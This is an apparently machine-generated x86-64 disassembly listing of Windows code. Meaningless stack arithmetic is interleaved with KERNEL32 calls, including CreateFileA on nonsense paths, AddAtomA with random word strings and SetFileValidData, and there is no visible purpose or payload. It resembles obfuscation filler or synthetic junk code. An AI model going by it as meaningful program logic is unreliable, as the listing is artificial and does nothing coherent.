mov rax, qword [rsp + 0xaa08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x104c]
and eax, ecx
mov word [0x1401e7468], ax
lea rcx, [rsp + 0x25598]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0x172], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401e7630]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0xb178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd10]
sub eax, ecx
mov rcx, qword [rsp + 0xa018]
mov word [rcx], ax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0xbfd0], rax
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xb338]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb328], rax
lea rax, [rsp + 0x4760]
mov qword [rsp + 0xbfd8], rax
mov rax, qword [rsp + 0x9680]
mov rcx, qword [rsp + 0x9160]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb90], rax
mov eax, dword [0x1401e6014]
mov dword [rsp + 0x4b24], eax
mov rax, qword [rsp + 0x9bf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe0]
and eax, ecx
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0xa9f8]
movsx eax, word [rax]
mov rcx, qword [0x1401e74a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e611c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb528], rax
mov rax, qword [rsp + 0x9bb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0xa398]
movzx eax, word [rax]
mov word [rsp + 0x1144], ax
lea rdx, [rsp + 0x283e8]
mov rcx, qword [rsp + 0xb4e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x44a0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
movzx eax, word [rsp + 0xd70]
mov rcx, qword [0x1401e7578]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10c8], ax
mov eax, dword [rsp + 0x4900]
mov dword [rsp + 0x4b28], eax
mov rax, qword [rsp + 0xaf78]
mov rcx, qword [rsp + 0x9610]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9228]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0xbe08]
mov rcx, qword [rsp + 0xb9b8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9948]
mov qword [rcx], rax
mov eax, dword [rsp + 0x47fc]
mov dword [rsp + 0x4b2c], eax
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0x5f]
shl eax, cl
mov rcx, qword [rsp + 0x99a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb690]
movsx eax, byte [rax]
mov rcx, qword [0x1401e75f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e604a], al
movzx eax, word [rsp + 0xc24]
mov word [rsp + 0x1148], ax
lea rcx, [rsp + 0x26938]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0xa4d0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9930]
mov byte [rcx], al
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8a]
and eax, ecx
mov byte [rsp + 0xb4], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xbad0]
mov rax, qword [rax]
mov qword [rsp + 0xbfe0], rax
mov rax, qword [rsp + 0x93f0]
mov rcx, qword [rsp + 0x9308]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa640], rax
mov eax, dword [rsp + 0x48a0]
mov dword [rsp + 0x4b30], eax
mov rax, qword [rsp + 0x9458]
mov ecx, dword [rsp + 0x4ac4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4acc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xaa38]
movzx eax, byte [rax]
mov byte [rsp + 0x173], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa8e0], rax
lea rax, [rsp + 0xd80]
mov qword [0x1401e7938], rax
movzx eax, word [0x1401e6054]
mov rcx, qword [rsp + 0xb718]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1110], ax
mov rax, qword [rsp + 0xb928]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbf90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rax, [rsp + 0xc90]
mov qword [rsp + 0xbfe8], rax
mov rax, qword [rsp + 0x9a20]
mov eax, dword [rax]
mov ecx, dword [0x1401e6018]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4628], eax
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x43fc], eax
mov rax, qword [rsp + 0xbf58]
mov rax, qword [rax]
mov qword [rsp + 0xbff0], rax
mov rax, qword [rsp + 0x91f8]
mov rcx, qword [rsp + 0x9050]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9578]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4898]
mov dword [rsp + 0x4548], eax
movzx eax, word [rsp + 0xc74]
mov word [rsp + 0x114c], ax
movzx eax, word [rsp + 0xe1c]
mov rcx, qword [0x1401e7918]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e78f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb108]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x128]
sub eax, ecx
mov rcx, qword [rsp + 0xab08]
mov byte [rcx], al
lea rax, [rsp + 0x12d]
mov qword [rsp + 0xbff8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:Plaid_transversely_regatta
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc000], rax
movsx eax, word [rsp + 0xeb8]
movsx ecx, word [rsp + 0xd38]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb558]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb7]
shl eax, cl
mov rcx, qword [rsp + 0xab08]
mov byte [rcx], al
mov rax, qword [rsp + 0xab10]
mov eax, dword [rax]
mov dword [rsp + 0x4b34], eax
lea rdx, [rsp + 0x47c8]
mov rcx, qword [rsp + 0xbaf8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0xb0b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e00]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbcc8], rax
mov rax, qword [rsp + 0x9548]
mov qword [rsp + 0xc008], rax
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4424]
sar eax, cl
mov rcx, qword [rsp + 0x9620]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8e8]
movzx eax, word [rax]
cdq
mov ecx, 0x9f4
idiv ecx
mov word [0x1401e6120], ax
movzx eax, byte [rsp + 0x168]
mov rcx, qword [rsp + 0xa4b0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xd1], al
movzx ecx, word [rsp + 0xdc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1150], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x11e
mov r9d, 0x1fd6
mov r8d, 0xfba199c7
mov edx, 2
mov rcx, qword [rsp + 0xb840]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4454], eax
lea rax, [rsp + 0xf7c]
mov qword [rsp + 0xc010], rax
movsx eax, word [0x1401e60b0]
mov rcx, qword [rsp + 0xb2d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc3c], ax
movzx eax, word [rsp + 0x1094]
mov word [rsp + 0x1154], ax
mov rax, qword [rsp + 0x9778]
mov rcx, qword [rsp + 0xa058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9858], rax
lea rax, [rsp + 0xb470]
mov qword [rsp + 0xc018], rax
mov rax, qword [rsp + 0x9f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4884]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4964], eax
lea rcx, [rsp + 0x8c48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [rsp + 0x4a6c]
mov ecx, dword [rsp + 0x49d4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
movsx eax, byte [0x1401e606a]
mov rcx, qword [rsp + 0xac10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e75b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x144]
mov byte [rsp + 0x174], al
movsx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13a], al
lea rcx, [rsp + 0x25520]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, word [0x1401e60c8]
mov word [rsp + 0x1158], ax
mov rax, qword [rsp + 0xa7e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc28]
add eax, ecx
mov word [rsp + 0xe3c], ax
mov eax, dword [rsp + 0x496c]
mov ecx, dword [rsp + 0x47c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43c4], eax
mov rax, qword [rsp + 0x92f0]
mov qword [rsp + 0xc020], rax
mov eax, dword [rsp + 0x4244]
mov ecx, dword [rsp + 0x4a3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x467c], eax
mov edx, 0x64f882
mov rcx, qword [rsp + 0xbad8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x482c], eax
mov rax, qword [rsp + 0xad58]
mov rax, qword [rax]
mov qword [rsp + 0xc028], rax
movzx eax, byte [rsp + 0x9f]
mov byte [0x1401e74c6], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4b38], eax
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbda0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xd10], ax
movsx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0xa768]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10ec], ax
mov edx, 0x63002a
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4238], eax
mov rax, qword [0x1401e7908]
movzx eax, byte [rax]
mov byte [rsp + 0x175], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x9e40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa7]
shl eax, cl
mov rcx, qword [rsp + 0xb228]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xb480], rax
lea rax, [rsp + 0x437c]
mov qword [rsp + 0xc030], rax
mov rax, qword [rsp + 0x8db8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa858]
mov qword [rsp + 0xc038], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc038]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9730], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4b3c], eax
mov edx, 0x187a
mov rcx, qword [rsp + 0xba98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4724], eax
lea rax, [rsp + 0xb508]
mov qword [rsp + 0xc040], rax
mov rax, qword [rsp + 0xaa40]
mov ecx, dword [rsp + 0x4464]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4574], eax
movzx ecx, word [rsp + 0xd24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0x9ed0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf14]
and eax, ecx
mov word [0x1401e6074], ax
mov rax, qword [rsp + 0x97f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b]
sub eax, ecx
mov rcx, qword [rsp + 0x9920]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xc048], rax
movzx eax, word [rsp + 0xd44]
mov word [rsp + 0x115c], ax
mov rcx, qword [rsp + 0x9be8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x143]
add eax, ecx
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
lea rax, [rsp + 0xbf]
mov qword [rsp + 0xc050], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xacb0], rax
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4b40], eax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0xb098]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9288], rax
mov edx, 0x5ebff
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4770], eax
mov rax, qword [rsp + 0xbee0]
mov eax, dword [rax]
mov ecx, dword [0x1401e6018]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93e0]
mov rax, qword [rax]
mov qword [rsp + 0xc058], rax
mov rax, qword [rsp + 0x9780]
mov ecx, dword [rsp + 0x47f4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9fe8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbde0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa678]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6124], ax
movzx eax, word [rsp + 0xf0c]
mov word [rsp + 0x1160], ax
movzx eax, byte [rsp + 0x122]
mov rcx, qword [rsp + 0xaca8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0xa2e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x118]
and eax, ecx
mov rcx, qword [rsp + 0x9788]
mov byte [rcx], al
lea rax, [rsp + 0xf4c]
mov qword [rsp + 0xc060], rax
mov rax, qword [rsp + 0x9d58]
mov rcx, qword [rsp + 0x9588]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xb4d8]
mov dword [rcx], eax
lea rax, [rsp + 0xa680]
mov qword [rsp + 0xc068], rax
mov rax, qword [rsp + 0x9c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9128]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9358]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c78]
mov ecx, dword [0x1401e741c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa418]
mov dword [rcx], eax
lea rax, [rsp + 0xe1c]
mov qword [0x1401e7940], rax
mov rax, qword [rsp + 0xac78]
movzx eax, word [rax]
mov word [rsp + 0x1164], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movsx eax, word [rsp + 0xd80]
mov rcx, qword [rsp + 0xa468]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9f28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x12f]
mov byte [rsp + 0x176], al
movzx eax, byte [rsp + 0x16b]
movzx ecx, byte [rsp + 0x144]
sar eax, cl
mov byte [rsp + 0x67], al
lea rcx, [rsp + 0x25750]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xb900]
mov qword [rsp + 0xc070], rax
mov rax, qword [rsp + 0x9018]
mov eax, dword [rax]
mov ecx, dword [0x1401e6014]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x46d8], eax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xadd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45fc], eax
mov rax, qword [rsp + 0x9810]
mov rax, qword [rax]
mov qword [rsp + 0xc078], rax
mov dword [rsp + 0x20], 0x2a7c
mov r9d, 0x25dd
mov r8d, 0x53a
mov edx, 0x2ddc
mov rcx, qword [rsp + 0x9260]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4514], eax
mov rax, qword [rsp + 0x9d68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e746d], al
mov rax, qword [rsp + 0x9f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1074]
sub eax, ecx
mov rcx, qword [rsp + 0xbb58]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xae18], rax
mov rax, qword [rsp + 0xb2b0]
movzx eax, word [rax]
mov word [rsp + 0x1168], ax
mov rax, qword [rsp + 0xbe18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xafc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:catechismsOsteopathGhastly
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc080], rax
lea rdx, [rsp + 0x4684]
mov rcx, qword [rsp + 0xaf30]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e0], eax
mov rax, qword [rsp + 0xbbf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x124]
add eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa288], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:waiveruntiedStreams
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc088], rax
lea rcx, str.curdled_Renewable_worst_Abort_birdwatching
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xdf4], ax
mov eax, dword [rsp + 0x4b04]
mov dword [rsp + 0x4b44], eax
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0xb628]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb200], rax
lea rax, [rsp + 0x9708]
mov qword [rsp + 0xc090], rax
mov rax, qword [rsp + 0xb518]
mov rcx, qword [rsp + 0xa5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9658]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb058]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa468]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe68], ax
mov rax, qword [rsp + 0xb050]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbf90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e605b], al
lea rax, [rsp + 0xd14]
mov qword [rsp + 0xc098], rax
mov rax, qword [rsp + 0xb180]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d80]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb658]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8f0]
movzx eax, byte [rax]
mov byte [rsp + 0x177], al
mov rax, qword [rsp + 0x9448]
mov rcx, qword [rsp + 0xbd38]
mov qword [rsp + 0xc0a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc0a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb788]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4708], eax
lea rax, [rsp + 0x476c]
mov qword [rsp + 0xc0a8], rax
mov edx, 0x1ec
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a18], eax
mov rax, qword [rsp + 0xbab8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb3a8]
mov qword [rsp + 0xc0b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xac48], rax
lea rax, [rsp + 0xb74]
mov qword [rsp + 0xc0b8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xba70], rax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0xaa78]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e6128], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x5b]
movsx ecx, byte [rsp + 0xe9]
and eax, ecx
mov byte [rsp + 0x8a], al
lea rax, [rsp + 0x10c4]
mov qword [rsp + 0xc0c0], rax
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb6d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a70]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb68]
mov rcx, qword [0x1401e7410]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bd0], rax
mov rax, qword [rsp + 0x9590]
mov qword [rsp + 0xc0c8], rax
mov rax, qword [rsp + 0x9d90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x44ac], eax
mov rax, qword [rsp + 0xbc68]
mov eax, dword [rax]
mov dword [rsp + 0x4b48], eax
mov rax, qword [rsp + 0x9f30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1008], ax
mov rcx, qword [rsp + 0xba98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xc0d0]
mov rcx, qword [rsp + 0x9330]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4310], eax
mov rcx, qword [rsp + 0xaa50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x145]
mov byte [0x1401e74c7], al
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [0x1401e77d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
lea rcx, str.Unwitting_Tasted
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x10e4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rax, [rsp + 0xef4]
mov qword [rsp + 0xc0d8], rax
movzx eax, byte [rsp + 0x145]
movzx ecx, byte [rsp + 0x11d]
add eax, ecx
mov byte [rsp + 0x13e], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xd980
mov rcx, qword [rsp + 0xaf30]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b4c], eax
lea rdx, [rsp + 0xa568]
mov rcx, qword [rsp + 0x9768]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a10], eax
lea rax, [rsp + 0x47f4]
mov qword [rsp + 0xc0e0], rax
mov rax, qword [rsp + 0x9fb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa788]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x98e0]
mov rcx, qword [rsp + 0xb378]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9648], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xacc0], rax
lea rax, [0x1401e6018]
mov qword [rsp + 0xc0e8], rax
movsx eax, byte [rsp + 0xb1]
movsx ecx, byte [rsp + 0x128]
xor eax, ecx
mov byte [rsp + 0x66], al
movzx eax, word [rsp + 0xcf4]
mov rcx, qword [rsp + 0xab58]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401e7798]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.C:coevalAuxiliarychatsparaphrasedRaging
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc0f0], rax
lea rax, [rsp + 0xc64]
mov qword [rsp + 0xc0f8], rax
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov byte [rcx], al
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0x9ae0]
movsx eax, byte [rax]
mov rcx, qword [0x1401e75a8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4934], eax
mov rax, qword [rsp + 0x9d58]
mov rcx, qword [rsp + 0x97a8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x4878], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9c18], rax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4578], eax
mov eax, dword [rsp + 0x48fc]
mov dword [rsp + 0x4b50], eax
mov rax, qword [rsp + 0xa578]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9700]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9be0]
mov qword [rcx], rax
lea rax, [rsp + 0x96d8]
mov qword [rsp + 0xc100], rax
mov rax, qword [rsp + 0xa528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe68]
sub eax, ecx
mov rcx, qword [0x1401e7780]
mov word [rcx], ax
mov rax, qword [0x1401e7890]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa260]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc24], ax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov byte [rsp + 0x13d], al
mov rax, qword [rsp + 0xa0b8]
movzx eax, word [rax]
mov word [rsp + 0x116c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:_swirlsTheologyBelchingcaviar
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc108], rax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x90c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x97b0]
mov byte [rcx], al
mov eax, dword [rsp + 0x42c4]
mov dword [rsp + 0x4b54], eax
mov rax, qword [rsp + 0xa908]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb040]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa250], rax
lea rcx, [rsp + 0x256b0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xae58]
mov rcx, qword [0x1401e7410]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9858], rax
mov eax, dword [rsp + 0x4428]
